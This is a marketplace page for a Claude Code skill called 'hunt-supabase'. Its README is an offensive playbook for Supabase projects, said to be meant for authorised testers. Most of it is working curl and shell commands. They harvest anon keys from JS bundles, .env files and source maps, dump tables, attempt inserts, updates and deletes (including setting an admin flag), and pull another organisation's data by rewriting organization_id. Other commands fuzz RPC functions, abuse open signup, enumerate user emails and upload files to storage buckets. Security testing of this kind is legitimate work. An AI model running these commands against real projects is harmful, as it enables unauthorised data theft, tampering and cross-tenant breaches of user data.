mcpField
H
hunt-supabase

hunt-supabase

github.com/uphiagoSecurity1.3k39 installsUpdated 8w ago
Repository

About hunt-supabase

A Supabase security testing skill for authorized testers, covering project discovery, RLS and tenant access checks, plus Auth, RPC, and Storage verification. It includes attack chains, severity guidance, and caveats to help distinguish public configuration from exploitable access.

Key features

  1. 01Find Supabase URLs and anon keys
  2. 02Check table data and RLS read/write access
  3. 03Test organization-ID bypasses and RPC data scope
  4. 04Review Auth signup and user enumeration
  5. 05Probe Storage buckets and file access
  6. 06Assess severity and avoid false positives

Use cases

  1. 01Review a Supabase project under authorized testing
  2. 02Check data access boundaries for anonymous and signed-in users
  3. 03Test organization isolation in multi-tenant applications
  4. 04Assess Storage exposure and open-signup risks

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-supabase

After installing, type/hunt-supabasein Claude Code to confirm it loaded.

Details

From the project README

HUNT-SUPABASE — Supabase Exploitation

Crown Jewel Targets

Supabase is the open-source Firebase alternative. It uses Row Level Security (RLS) for access control, but RLS policies are frequently misconfigured — especially in rapid-development stacks (Lovable.dev, Bolt.new, Cursor).

Highest-value findings:

  1. Public tables via anon key — REST API with anon key returns table data when RLS is disabled or policies are permissive. Critical.
  2. RLS bypass via organization_id — UPDATE operation checks user ownership but NOT organization_id -> cross-tenant data access. Critical.
  3. RPC functions returning global data — SECURITY DEFINER RPC functions that don't filter by auth.uid() -> all users' data. High.
  4. Storage buckets without RLS — Public file listing, upload, and download. High.
  5. Open signUp — Anyone can register and get a JWT. High.
  6. Multi-tenant enumeration — Same broken-RLS patterns across multiple apps built by the same developer. Medium.

Phase 1 — Find the Supabase Project

Supabase is identified by its URL format: https://[PROJECT_REF].supabase.co and anon key format: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (JWT starting with eyJ)

1.1 Search in JS Bundles
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done

# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js

# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js

# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'
1.2 Search in .env and Config Files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"

# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null
1.3 Extract from Source Maps
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
  curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done

cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
    data = json.load(sys.stdin)
    sources = data.get('sourcesContent', [])
    for src in sources:
        if not src: continue
        urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
        keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
        for u in urls: print(f'URL: {u}')
        for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null

Phase 2 — Supabase Reconnaissance

Once you have the Supabase URL and anon key:

SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"

# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
  if [ "$response" = "200" ]; then
    echo "[+] PUBLIC TABLE: $table"
    # Sample the data
    curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
      -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
  fi
done

Phase 3 — Data Enumeration with Anon Key

3.1 Read Table Data
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"
3.2 Try Write Access
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -H "Prefer: return=minimal" \
  -d '{"test_column": "pwned"}'

# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"admin": true}'

# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY"

Phase 4 — RLS Bypass via Organization ID Manipulation

This is the most common Supabase vulnerability in multi-tenant apps.

4.1 Cross-Organization IDOR via UPDATE
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"TARGET_ORG_UUID"}'

# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
4.2 RPC Function without Organization Filter
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"

# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
    -H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
    -H "Content-Type: application/json" -d '{}')
  if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
    echo "[+] RPC accessible: $rpc"
    echo "$response" | python3 -m json.tool | head -20
  fi
done
4.3 Multi-Tenant Enumeration via WHOIS
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"

# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
    data = json.load(sys.stdin)
    domains = set(d['name_value'] for d in data)
    print('\n'.join(sorted(domains)))
except: pass
"

# Step 3: Test each for Supabase with the same broken RLS patterns

Phase 5 — Supabase Auth Exploitation

5.1 Open SignUp
# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "[email protected]",
    "password": "TestPassword123!"
  }'
# HTTP 200 with access_token + user = OPEN SIGNUP!
5.2 Extract JWT from SignUp
# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
  -H "apikey: $ANON_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"TestPassword123!"}')

ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")

# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"
5.3 Brute User Enumeration
# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
  response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
    -H "apikey: $ANON_KEY" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
  # HTTP 200 = new user created
  # HTTP 422 = email already exists -> VALID USER
  # HTTP 400 = validation error
  echo "$email: $response"
done

Phase 6 — Supabase Storage Exploitation

# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
  -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"

# Step 3: Download a file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/filename.pdf" \
  -o /tmp/downloaded_file

# Step 4: Upload a file (test write)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/storage/v1/object/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY" \
  -H "Authorization: Bearer $ANON_KEY" \
  -H "Content-Type: text/plain" \
  -d "pwned"
# HTTP 200 with Key -> upload allowed!

# Step 5: Get public URL for uploaded file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/test.txt" \
  -H "apikey: $ANON_KEY"

Phase 7 — Attack Chains

Chain A: Anon Key in JS -> Public Table Dump
JS bundle contains supabaseUrl + anon key ->
Try common table names (profiles, users, orders) ->
RLS disabled -> Dump ALL data ->
PII breach (emails, names, addresses)
Chain B: Open SignUp -> Authenticated Access -> Write
Supabase signup endpoint accepts new users ->
Create account -> Get JWT ->
Use JWT for authenticated REST API calls ->
Access tables that require auth but have no ownership checks
Chain C: RLS Bypass via Org ID -> Cross-Tenant
UPDATE profiles where id=my_id set organization_id to target_org ->
RLS checks auth.uid() matches id but NOT organization_id ->
Switch org context -> See target org's data ->
Indirect cross-tenant attack
Chain D: RPC Function -> Global Data Access
RPC function defined as SECURITY DEFINER with no filter ->
Any authenticated user calls get_stats() ->
Returns aggregated data from ALL tenants ->
Data leakage

Validation Severity

FindingSeverity
Anon key grants SELECT on PII tablesCritical
Anon key grants INSERT/UPDATE/DELETECritical
Open signup (anyone creates accounts)High
RPC returns cross-org dataHigh
Storage bucket public list/downloadHigh
Storage bucket public uploadCritical
Email enumeration via signupLow-Medium
RLS bypass via org_id tamperingCritical
RLS policy missing on tableHigh
Supabase project ID only (no key)Informational

Verification

Run this self-test to confirm supabase hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-supabase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • Supabase anon key exposure — the anon key is intentionally public. It grants RLS-restricted access. The finding is when RLS policies are missing.
  • Public bucket with RLS bypass — if RLS policies allow public read on storage, that's intentional. Need access to data that should be private.
  • Supabase URL + anon key as credential — these are configuration values, not secrets. Rate impact based on what the anon key can access via missing RLS.
  • Supabase realtime subscription without sensitive data — subscribing to public channels is expected. Need subscription to private channels.

Related Skills

  • hunt-firebase — Firebase/Firestore/GCP sibling exploitation (similar anon-key pattern)
  • hunt-source-leak — API key discovery in JS bundles, .env, source maps
  • hunt-idor — RLS-bypass via organization_id is an IDOR variant
  • hunt-api-misconfig — REST API endpoint enumeration methodology
  • hunt-cors — CORS on Supabase REST API endpoints
  • hunt-schema-enumeration — Error hint enumeration technique (primary method for discovering Supabase table names)
  • hunt-write-gap — Test PATCH/POST/DELETE after finding tables via schema enumeration

Error Hint Enumeration — Schema Discovery

PostgREST returns table name hints when you query a non-existent table. This is the fastest way to map the entire Supabase schema:

SUPABASE_URL="https://PROJECT.supabase.co"
ANON_KEY="eyJ..."

# Fuzz common table names — PostgREST hints reveal real tables
for table in users profiles posts products orders data config settings \
  sessions subscribers movements payments transactions wallets accounts; do
  result=$(curl --max-time 30 --connect-timeout 10 -sk "${SUPABASE_URL}/rest/v1/${table}?select=*&limit=1" \
    -H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null)
  hint=$(echo "$result" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('hint',''))" 2>/dev/null)
  if [ -n "$hint" ]; then echo "  ${table} -> ${hint}"; fi
done

# Response pattern: {"hint":"Perhaps you meant the table 'public.real_name'"}
# Build wordlist from hints, iterate until no new tables discovered

After mapping the schema, proceed to hunt-write-gap to test write operations on discovered tables.

Common Supabase Finding Formats

# Quick test: does the target use Supabase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'anon[": ]+["]*eyJ'

# Check Google dorks for Supabase
# site:target.com "supabase.co"
# site:target.com "supabaseUrl"
# site:target.com "SUPABASE_ANON_KEY"

Comments

Markdown supported